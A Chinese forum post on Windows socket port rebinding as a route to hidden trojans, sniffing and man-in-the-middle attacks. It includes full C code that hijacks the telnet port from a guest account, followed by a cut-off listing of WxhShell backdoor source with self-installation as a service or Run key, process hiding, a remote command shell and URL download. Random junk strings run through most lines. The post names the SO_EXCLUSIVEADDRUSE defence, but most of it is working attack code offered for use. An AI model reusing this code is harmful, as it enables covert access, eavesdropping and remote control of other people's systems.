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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !?J?R-C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f<l.%B  
n_1,-(t  
  saddr.sin_family = AF_INET; zJT,Hv .  
cDqj&:$e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 66MWOrr  
.tt=\R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Su/}OS\R  
06fs,!Q@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D[bPm:\0M  
~Pi CA  
  这意味着什么?意味着可以进行如下的攻击: ?PDrj/: *  
X2to](\% X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -`d(>ok  
zR_yxs'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O`FuXB(t  
<n)R?P(or  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]]lM)  
e3x;(@j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w"?E=RS  
OvtiFN^s'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =%R|@lz_x  
f f_| 3G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $-;x8O]u  
+d/^0^(D\5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \X0wr%I  
b%M|R%)]  
  #include [Se0+\,&  
  #include }*R.>jQ+Y  
  #include ;+4X<)y*>  
  #include    ?KtvXTy{m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <nE|Y@S  
  int main() {#J1D*?$"  
  { "RMvWuNt  
  WORD wVersionRequested; >W?7a:#,  
  DWORD ret; 9Qhk~^ngg  
  WSADATA wsaData; +)QA!g$  
  BOOL val;  =[G)  
  SOCKADDR_IN saddr; XIJ{qrDr  
  SOCKADDR_IN scaddr; P'q . _U  
  int err; 8@'Q=".J  
  SOCKET s; *'h vYl/?>  
  SOCKET sc; nO7#m~  
  int caddsize; 8et.A  
  HANDLE mt; &4-rDR,  
  DWORD tid;   ky98Bz%  
  wVersionRequested = MAKEWORD( 2, 2 ); rCFTch"  
  err = WSAStartup( wVersionRequested, &wsaData ); PmT,*C`/X  
  if ( err != 0 ) { 'c|Y*2@  
  printf("error!WSAStartup failed!\n"); b6~MRfx`7  
  return -1; NK0hT,_  
  } ^7&0P m  
  saddr.sin_family = AF_INET; yyVv@  
   %Lwd1'C%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3O!TVSo  
_Q3Ad>,U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A`qb5LLJ)  
  saddr.sin_port = htons(23); 2e @zd\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |`yzH$,F  
  { ewb/ Z[4  
  printf("error!socket failed!\n"); ]VS$ ?wD  
  return -1; =\l7k<  
  } ; (;J  
  val = TRUE; sCF7K=a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !rMl" Y[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4$<-3IP,  
  { ^>fjURR  
  printf("error!setsockopt failed!\n"); Ug|o ($CY  
  return -1; C5jR||  
  } )wwQv2E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X[ o9^<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =2=n   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q9 * N/2+  
1@Zjv>jy[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wh<s#q`  
  { >@o}l:*  
  ret=GetLastError(); (W l5F  
  printf("error!bind failed!\n"); 32*FISH^  
  return -1; %wp#vO-$  
  } #815h,nP+  
  listen(s,2); Rtl;*ZAS  
  while(1) \Ow-o0  
  { bUp ,vc*  
  caddsize = sizeof(scaddr); r&|-6OQZZ  
  //接受连接请求 ,~_)Cf#CB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F+@E6I'g  
  if(sc!=INVALID_SOCKET) G;%Pf9 o26  
  { 6T_Mk0Sf+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); buhn~ c  
  if(mt==NULL) g(0 |p6R  
  { $LF  
  printf("Thread Creat Failed!\n"); =*YK6  
  break; K"sfN~@rT[  
  } KR6*)?c`  
  } hC.7Z]  
  CloseHandle(mt); <E|K<}W#  
  } bTn7$EG  
  closesocket(s); 43;@m}|7$  
  WSACleanup(); _r}oYs%1  
  return 0; )oSUhU26}  
  }   f*g>~!  
  DWORD WINAPI ClientThread(LPVOID lpParam) t?0D*!D  
  { rwlV\BU  
  SOCKET ss = (SOCKET)lpParam; {t$ vsR  
  SOCKET sc; Odr@9MJ  
  unsigned char buf[4096]; Upr:sB  
  SOCKADDR_IN saddr; `1NxS35u  
  long num; :I5]|pt  
  DWORD val;  OT9\K_  
  DWORD ret; !j)H !|R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lq$1CI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xi=qap=S^9  
  saddr.sin_family = AF_INET; O\ T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *Bt`6u.>e,  
  saddr.sin_port = htons(23); /AR;O4X+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q($lL~Ls  
  { :ji_dQ8k  
  printf("error!socket failed!\n");  8IH&=3  
  return -1; OjCT*qyU<  
  } +SmcZ^\OZ  
  val = 100; byv(:xk|'e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [ed%"f  
  { HB$*xS1  
  ret = GetLastError(); >,`/ z  
  return -1; 8Us5Oi  
  } k})Ag7c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QK\QvU2y  
  { }B_n}<tjD  
  ret = GetLastError(); ~$f+]7  
  return -1; qB_MDA  
  } <,l&),  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) | %af}# FQ  
  { 8kih81tx"U  
  printf("error!socket connect failed!\n"); qphN   
  closesocket(sc); <GShm~XD2  
  closesocket(ss); j8@YoD5o  
  return -1; L;xc,"\3  
  } yg "u^*r&  
  while(1) B:tST(  
  { I C9:&C[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B7TA:K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MjG=6.J|`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y$EqBN  
  num = recv(ss,buf,4096,0); RC8{QgaI  
  if(num>0) 2|o6~m<pE  
  send(sc,buf,num,0); :x97^.eW~  
  else if(num==0) bG>pm|/  
  break; .bvB8VOrW  
  num = recv(sc,buf,4096,0); $6:j3ZTXrt  
  if(num>0) |Gjd  
  send(ss,buf,num,0); f3-=?Z  
  else if(num==0) #GK&{)$  
  break; o:#MP(h,N  
  } zp4Jd"XBX  
  closesocket(ss); {t[j>_MYw  
  closesocket(sc); ?N#mD  
  return 0 ; @4h .?  
  } ]}F_nc2L  
Tn/ 3`j {  
K 3?7Hndf2  
========================================================== ReP7c3D>p  
Qg?^%O'  
下边附上一个代码,,WXhSHELL E'$r#k:o  
)KR9alf3  
========================================================== !5 %c`4  
_p7c<$ ;  
#include "stdafx.h" p[&'*"o!/  
PP&AF?C  
#include <stdio.h> GFx >xQk  
#include <string.h> v4(!~S  
#include <windows.h> ~LHG  
#include <winsock2.h> Qm,|'y:Tg  
#include <winsvc.h> Rs8`M8(4%  
#include <urlmon.h> Ol"p^sqwj  
vN 7a)s  
#pragma comment (lib, "Ws2_32.lib") aD3'gc,l  
#pragma comment (lib, "urlmon.lib") B4GgR,P@S  
~tDV{ml  
#define MAX_USER   100 // 最大客户端连接数 TeG5|`t],  
#define BUF_SOCK   200 // sock buffer ]m(Uv8/6  
#define KEY_BUFF   255 // 输入 buffer (ui"vLk8PP  
'HkV_d[li  
#define REBOOT     0   // 重启 cy?u *  
#define SHUTDOWN   1   // 关机 Revc :m1o  
BG~h9.c  
#define DEF_PORT   5000 // 监听端口 uFb&WIo1  
\x)T_]Gcm  
#define REG_LEN     16   // 注册表键长度 zXvAW7  
#define SVC_LEN     80   // NT服务名长度 ;-@^G 3C:  
w^NE`4 -  
// 从dll定义API E@R7b(:*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  HlPf   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N(]6pG=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'wLQ9o%=p|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^ {-J Y  
+QuaQ% lA  
// wxhshell配置信息 g-meJhX%  
struct WSCFG { Am!$\T%2  
  int ws_port;         // 监听端口 ?^2(|t9KU  
  char ws_passstr[REG_LEN]; // 口令 n'1pNL:  
  int ws_autoins;       // 安装标记, 1=yes 0=no 28LjQ!  
  char ws_regname[REG_LEN]; // 注册表键名 @1gX>!  
  char ws_svcname[REG_LEN]; // 服务名 U9IN#;W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Cz Jze  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 me$ 7\B;wy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yFshV\   
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1'R]An BV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P$N\o@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RXb+"/   
L=VJl[DL  
}; M2[;b+W9  
Bh"o{-$p8`  
// default Wxhshell configuration ,F.\z^\{  
struct WSCFG wscfg={DEF_PORT, $=TFTSO  
    "xuhuanlingzhe", )O"5dF1l  
    1, ^4O1:_|G  
    "Wxhshell", 4At%{E  
    "Wxhshell", Obrv5 %'  
            "WxhShell Service", 8{@|M l  
    "Wrsky Windows CmdShell Service", @ bPQhn#(g  
    "Please Input Your Password: ", K]oFV   
  1, n4Ry)O[.  
  "http://www.wrsky.com/wxhshell.exe", X&TTw/J!^  
  "Wxhshell.exe" UOZ"#cQ  
    }; g,7`emOX  
{XC# -3O  
// 消息定义模块 c# U!Q7J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^|Of  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |(*ReQ?=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cMsm[D{b  
char *msg_ws_ext="\n\rExit."; =" #O1$  
char *msg_ws_end="\n\rQuit."; V"#ie Y n  
char *msg_ws_boot="\n\rReboot..."; tVvRT*>Wb  
char *msg_ws_poff="\n\rShutdown..."; g599Lc&  
char *msg_ws_down="\n\rSave to "; vkOCyi?c  
#Fl "#g$  
char *msg_ws_err="\n\rErr!"; H@qA X  
char *msg_ws_ok="\n\rOK!"; sikG}p0mx<  
=m:xf&r#  
char ExeFile[MAX_PATH]; w [D9Q=  
int nUser = 0; ^9%G7J:vGO  
HANDLE handles[MAX_USER]; tz)aQ6p\X  
int OsIsNt; D4ESo)15'  
p}.L]Y  
SERVICE_STATUS       serviceStatus; t)=u}t$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ly7\H3  
HbX>::J8  
// 函数声明 yJ c#y   
int Install(void); 5(^&0c>P  
int Uninstall(void); b<P9@h~:  
int DownloadFile(char *sURL, SOCKET wsh); Q.>@w<[!L  
int Boot(int flag); <[@AMdS  
void HideProc(void); O[U^{~iM  
int GetOsVer(void); |`1lCyV\tE  
int Wxhshell(SOCKET wsl); D kl4 ^}  
void TalkWithClient(void *cs); 9i*t3W71]  
int CmdShell(SOCKET sock); a"EX<6"  
int StartFromService(void); 3'}(:X(  
int StartWxhshell(LPSTR lpCmdLine); "9jt2@<  
aJ}y|+Cj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k(pI5N}pJZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C}<j8a?  
3vfm$sx@  
// 数据结构和表定义 uPr'by  
SERVICE_TABLE_ENTRY DispatchTable[] = >k"Z'9l  
{ U$&G_&*0a  
{wscfg.ws_svcname, NTServiceMain}, 0/S|h"-L  
{NULL, NULL} >\ y|}|?  
}; +3dWnBg?  
eRKuy l  
// 自我安装 LuM:dJ  
int Install(void) HQw98/-_W  
{ 5I`j'j  
  char svExeFile[MAX_PATH]; zc01\M  
  HKEY key; J]yUjnQ[h  
  strcpy(svExeFile,ExeFile); ?& qMC  
9fj3q>Un,  
// 如果是win9x系统,修改注册表设为自启动 y3 {'s>O6  
if(!OsIsNt) { r: ]t9y>$<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HT0VdvLw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T"xq^h1\  
  RegCloseKey(key); *pK bMG#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `U?" {;j {  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k&wCa<Rs~R  
  RegCloseKey(key); >?aPX C  
  return 0; I(tMw6C$:  
    } OJ^kESrm8  
  } 2fFZ70Yh  
} ]rGZ  
else { :,Z'/e0&  
>-J%=P  
// 如果是NT以上系统,安装为系统服务 _;L%? -2c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }Q&zYC]d  
if (schSCManager!=0) 7DZxr Vw  
{ r@b M3V_o  
  SC_HANDLE schService = CreateService 7iMBDkb7  
  ( P'%#B&LZo  
  schSCManager, E-gI'qG\(  
  wscfg.ws_svcname, .' foS>W=t  
  wscfg.ws_svcdisp, tljZE)  
  SERVICE_ALL_ACCESS, <LL+\kfTZO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Sk7l&B  
  SERVICE_AUTO_START, p}H:t24Cr5  
  SERVICE_ERROR_NORMAL, $WmB__  
  svExeFile, ^/@Z4(E  
  NULL, t6u>_Sh e  
  NULL, ;e Iqxe>  
  NULL, `o/G0~T)  
  NULL, &O8vI ,M  
  NULL riw0w  
  ); 7q\&  
  if (schService!=0) ]nPfIBoS  
  { :{sy2g/+  
  CloseServiceHandle(schService); >=Bl/0YH  
  CloseServiceHandle(schSCManager); lw+Y_;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ASGV3r (  
  strcat(svExeFile,wscfg.ws_svcname); vd<r}3i*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X!H[/b:1O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @jh\yjrW  
  RegCloseKey(key); X 4L"M%i  
  return 0; <14,xYpE  
    } z`g4<  
  } >A&D/k MO  
  CloseServiceHandle(schSCManager); qZQB"Q.*  
} 6=N!()s  
} RJ}%pA4I  
yM,.{m@F<  
return 1; . -ihxEbzr  
} ;ctPe[5  
*<HA])D,  
// 自我卸载 eBT+|  
int Uninstall(void) `U4e]Qh/+  
{ {7d(B1[1  
  HKEY key; <S[]VXy  
BjX*Gm6l  
if(!OsIsNt) { unX mMSz(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pW4O[v`  
  RegDeleteValue(key,wscfg.ws_regname); xWRkg$A  
  RegCloseKey(key); *2,tGZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3R|Ub G`  
  RegDeleteValue(key,wscfg.ws_regname); n[[2<s*YJ  
  RegCloseKey(key); 0G; b+  
  return 0; gvzBV +3'  
  } \d-H+t]  
} vw~=z6Ka  
} ~ eNKu  
else { |)KOy~"  
V2B@Lq"9`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o|7ztpr  
if (schSCManager!=0) ~K$dQb])  
{ t[e`wj+qz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k2-+3zx  
  if (schService!=0) P~}Yj@2  
  { ZuLW%z.  
  if(DeleteService(schService)!=0) { x*'2%3C~  
  CloseServiceHandle(schService); N1D{ %  
  CloseServiceHandle(schSCManager); 2xxw8_~C  
  return 0; P>U7RX e  
  } uKA-<nM._c  
  CloseServiceHandle(schService); Dpb prT7_  
  } _ASyGmO{  
  CloseServiceHandle(schSCManager); .n\j<Kq  
} 6 uS;H]nd<  
} ,vDSY N6  
/Fj*sS8  
return 1; 8*x/NaH /\  
} ,gO(zI-1  
O[Yc-4  
// 从指定url下载文件 F_I.=zQr  
int DownloadFile(char *sURL, SOCKET wsh) jjT)3 c:J[  
{ V$Zl]f$S  
  HRESULT hr; #i;y[dQ  
char seps[]= "/"; ~o8  
char *token; ]]F e:>  
char *file; <`)vp0  
char myURL[MAX_PATH]; Q30TR  
char myFILE[MAX_PATH]; `G'Z,P-a  
b3NEYn  
strcpy(myURL,sURL); \"7U,y',  
  token=strtok(myURL,seps); 0<[g7BbR  
  while(token!=NULL) BAIR!  
  { [gaB}aLn  
    file=token; MA,7 |s  
  token=strtok(NULL,seps); P. Kfoos  
  } /{R>o0oW  
?Gnx!3Q  
GetCurrentDirectory(MAX_PATH,myFILE); mS?W+jy%  
strcat(myFILE, "\\"); DCP B9:u  
strcat(myFILE, file); itmFZZh  
  send(wsh,myFILE,strlen(myFILE),0); >F5E^DY  
send(wsh,"...",3,0); c#zx" ,K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GZ1c~uAu  
  if(hr==S_OK) #z#`EBXV$6  
return 0; O77^.B  
else U|~IJU3-  
return 1; WRqpQEY  
X?aj0# Q  
} uskJ(!  
/k.?x]Ab  
// 系统电源模块 Gp0yRT.  
int Boot(int flag) !j%#7  
{ \Lg{GN.  
  HANDLE hToken; p~yGp] yJ9  
  TOKEN_PRIVILEGES tkp; [_-[S  
"IJ 9vXI  
  if(OsIsNt) { gxc8O).5vY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Gt$PBlq0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B-oQjr-  
    tkp.PrivilegeCount = 1; H~; s$!lG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5ajd$t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ipD/dx.  
if(flag==REBOOT) { 8SN4E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) glomwny  
  return 0; mvu$  
} Ey&gZ$|&  
else { hQ}y(2A.XI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {JtfEna  
  return 0; 5Ve T8/7Q  
} UIo jXR<  
  } h3Y|0-D  
  else { ;<H\{w@D  
if(flag==REBOOT) { e=Q{CsP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^Is#_Z|  
  return 0; o)+Uyl   
} do DpTwvh  
else { $H"(]>~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -'uz%2 {  
  return 0; Lnc>O'<5P9  
} &+")~2 +  
} evlz R/  
^oDSU7j5,  
return 1; g]9A?#GyE  
} MX s]3M  
_)MbvF  
// win9x进程隐藏模块 tr<0NV62>  
void HideProc(void) "bA8NQIP  
{ (3N;-   
K9c5HuGy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w0,rFWS  
  if ( hKernel != NULL ) =j~Xrytn  
  { =6xxZy[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I*0TI@Lo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XX'mM v  
    FreeLibrary(hKernel); u .,l_D_  
  } b$N&sZ  
gUrXaD#  
return; 1{?5/F \ +  
} p]x9hZ  
`Zd\d:Wyv  
// 获取操作系统版本 frUO+  
int GetOsVer(void) p~17cH4~-f  
{ MXrh[QCU)  
  OSVERSIONINFO winfo; *V?p&/>MT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kGW4kuh)/q  
  GetVersionEx(&winfo); "w:?WS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -P We  
  return 1; \pVWYx  
  else o$k9$H>Na  
  return 0; 9K4Jg]?  
} a G\  
oE&#Tl?Vt  
// 客户端句柄模块 q1,jDJglZ  
int Wxhshell(SOCKET wsl) /s "Lsbe  
{ >%c7|\q[R  
  SOCKET wsh; ,g:\8*Y>'  
  struct sockaddr_in client; M7\yEi"*  
  DWORD myID; l@`Do[  
OpFm:j3  
  while(nUser<MAX_USER) _ cm^Fi5  
{ O^KIB%}fu  
  int nSize=sizeof(client); D\k'Eez  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i?B(I4a!G  
  if(wsh==INVALID_SOCKET) return 1; >WmT M0  
I:edLg1T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4Bk9d\z  
if(handles[nUser]==0) wOF";0EN  
  closesocket(wsh); Qgxpq{y  
else 69$gPY'3  
  nUser++; ?V' zG&n@  
  } ' oS= d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XxLauJP K  
=_Ip0FfK!  
  return 0; ~ ^*;#[<  
} VRD:PVz  
0{qe1pb w  
// 关闭 socket B3'-:  
void CloseIt(SOCKET wsh) Eh&-b6:  
{ $u%7]]Y^\  
closesocket(wsh); >o )v  
nUser--; ,dXJCX8so  
ExitThread(0); tO+Lf2Ni+  
} maOt/-  
raJv$P  
// 客户端请求句柄 l$ufW|  
void TalkWithClient(void *cs) nd,2EX<bE  
{ .> 5[;  
DC(u,iW%6  
  SOCKET wsh=(SOCKET)cs; ff5 e]^,  
  char pwd[SVC_LEN]; _*fOn@Vwo  
  char cmd[KEY_BUFF]; 3gs!ojG  
char chr[1]; A.cNOous|  
int i,j; G_S2Q @|Q  
1.I58(0~+  
  while (nUser < MAX_USER) { d8.A8<wUr  
#:s*Hy=  
if(wscfg.ws_passstr) { X=jHH=</  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b=XXp`h~a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y|cj&<o  
  //ZeroMemory(pwd,KEY_BUFF); J~|:Q.Rt`  
      i=0; K)W:@,*  
  while(i<SVC_LEN) { #+L:V&QE  
Igh=Z %  
  // 设置超时 Vp1Ff  
  fd_set FdRead; RC!9@H5S#  
  struct timeval TimeOut; O96%U$W  
  FD_ZERO(&FdRead); 5#~E[dr  
  FD_SET(wsh,&FdRead); B7( bNr  
  TimeOut.tv_sec=8; } p `A>  
  TimeOut.tv_usec=0; rA /T>ZM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y2$xlqQd"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 88Vl1d&b  
.*&F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ht2J, 1t  
  pwd=chr[0]; 0t%`jY~%  
  if(chr[0]==0xd || chr[0]==0xa) { t8.^YTI  
  pwd=0; B/I1<%Yk  
  break; Lum5Va%0  
  } pkc*toW  
  i++; ,L\>mGw  
    } up2wkc8  
|!L0X@>  
  // 如果是非法用户,关闭 socket o]<J&<WM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H` h]y  
} %ZX3:2  
$Y[C A.F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eC`G0.op  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k,61Va  
>[S\NAE>  
while(1) { $:D\yZ,  
>,x``-  
  ZeroMemory(cmd,KEY_BUFF); lJt?0;gn  
WmuYHEU  
      // 自动支持客户端 telnet标准   4VhKV JX  
  j=0; QBjvbWoIG(  
  while(j<KEY_BUFF) { (Q"~bP{F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >cH}sNHy  
  cmd[j]=chr[0]; 7 lu_E.Bv  
  if(chr[0]==0xa || chr[0]==0xd) { 4wPP/`  
  cmd[j]=0; {J-Ojw|Y b  
  break; ?@QcKQ@  
  } ~^l;~&  
  j++; x#fv<Cj4  
    } ''}2JJU{  
vG~JK[  
  // 下载文件 WNSEc%  
  if(strstr(cmd,"http://")) { J7wIA3.O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o,'Fz?[T%  
  if(DownloadFile(cmd,wsh))  CP Ju=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Va^(cnwa  
  else p21li}Iu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hfpis==  
  } x5b .^75p$  
  else { =m 6<H  
!:a^f2^=  
    switch(cmd[0]) { nZ[`Yrq)0  
  9>= S@hVMd  
  // 帮助 bT`et*]  
  case '?': { 0qL.Rnt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e?:1wU  
    break; WQsu}_g5y  
  } .f`KP!p.  
  // 安装 "Iacs s0;  
  case 'i': { =nv/ r  
    if(Install()) \pXo~;E\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *mn"G K6  
    else DK1{Z;Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .:=5|0m  
    break; rN'}IS@5  
    } fa!8+kfi  
  // 卸载 >^D5D%"  
  case 'r': { sLf~o" yb  
    if(Uninstall()) l_pf9 !z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z9j`<VgN  
    else G4uA&"OE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,; n[_f  
    break; lD$\t/8B  
    } >XW-W  
  // 显示 wxhshell 所在路径 D[` ~=y(  
  case 'p': { -fOBM 4  
    char svExeFile[MAX_PATH]; @ X5#?  
    strcpy(svExeFile,"\n\r"); _z>%h>L|g  
      strcat(svExeFile,ExeFile); )gV @6w  
        send(wsh,svExeFile,strlen(svExeFile),0); ?L6wky{  
    break; 7h`t-6<!q  
    } Xt!wO W  
  // 重启 p tlag&Z  
  case 'b': { )1f.=QZN^;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T-Yb|@4  
    if(Boot(REBOOT)) ]j]<CqG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kxi@"<`S  
    else { 63kZ#5g(Dw  
    closesocket(wsh); >]kZ2gVt  
    ExitThread(0); ow;a7  
    } s`=&l  
    break; !{vZvy"  
    } s1p<F,  
  // 关机 n>xuef   
  case 'd': { iB+ _+A  
